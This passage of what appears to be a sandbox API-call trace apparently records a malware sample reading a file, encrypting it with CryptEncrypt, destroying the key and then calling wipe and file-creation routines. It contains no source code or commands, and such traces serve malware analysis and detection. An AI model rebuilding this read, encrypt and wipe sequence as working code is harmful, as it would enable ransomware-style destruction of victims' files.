hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.433] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.433] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.433] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.434] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0023.434] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0xe2f5, lpOverlapped=0x0) returned 1 [0023.435] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0023.437] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.437] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.437] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.437] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0023.437] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.437] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.437] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0023.438] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0023.438] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0023.438] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0023.438] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0023.438] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.438] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0023.438] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.438] CryptGetKeyParam (in: hKey=0xe8f40625d0, dwParam=0x7, pbData=0xe8f4064c70, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064c70*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0023.438] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0023.438] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0023.438] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.438] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.438] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.438] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.438] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.438] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.438] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0023.438] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.438] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.438] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0023.438] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.438] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.438] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0023.438] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.438] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.438] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.438] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.438] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.438] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.438] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.438] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.439] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.439] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.439] CryptEncrypt (in: hKey=0xe8f40625d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0xe2f5, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0xe300) returned 1 [0023.440] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.440] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.440] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.440] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.440] CharLowerBuffW (in: lpsz="byte[58113]", cchLength=0xb | out: lpsz="byte[58113]") returned 0xb [0023.441] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.441] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.442] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.442] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.442] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.443] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0023.443] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0xe8f417acc0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0023.443] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptEncrypt") returned 0x7ffe2a5cb720 [0023.443] CryptEncrypt (in: hKey=0xe8f40625d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f41eb2d0*, pdwDataLen=0xe8f3dfdf68*=0xe2f5, dwBufLen=0xe300 | out: pbData=0xe8f41eb2d0*, pdwDataLen=0xe8f3dfdf68*=0xe300) returned 1 [0023.444] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.445] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.445] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.445] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.445] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.445] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.445] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0023.445] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.445] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0023.446] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.446] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.446] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.446] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.446] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0023.446] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.446] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.446] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.449] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.449] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.449] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.450] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.450] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.450] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0023.450] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0023.450] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.450] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0023.450] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.450] CryptDestroyKey (hKey=0xe8f40625d0) returned 1 [0023.451] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0023.451] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0023.451] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0023.451] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0023.451] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0023.451] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0023.451] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0023.451] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0023.451] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.451] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0023.451] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0023.451] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0023.451] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0023.451] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0023.451] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.451] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0023.451] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.451] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0023.451] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.451] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.451] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.451] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.451] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0023.451] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.451] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.451] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0023.451] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0023.451] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0023.451] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.451] CryptReleaseContext (hProv=0xe8f40632e0, dwFlags=0x0) returned 1 [0023.451] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.452] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.452] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0023.452] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.452] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.452] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.452] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.453] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.454] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.454] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0023.454] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.454] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.454] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.454] CharLowerBuffW (in: lpsz="byte[58101]", cchLength=0xb | out: lpsz="byte[58101]") returned 0xb [0023.454] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.455] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0023.455] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.455] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0023.455] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.455] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.455] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.455] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0023.455] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.455] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.455] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.455] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.455] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.455] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.455] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, 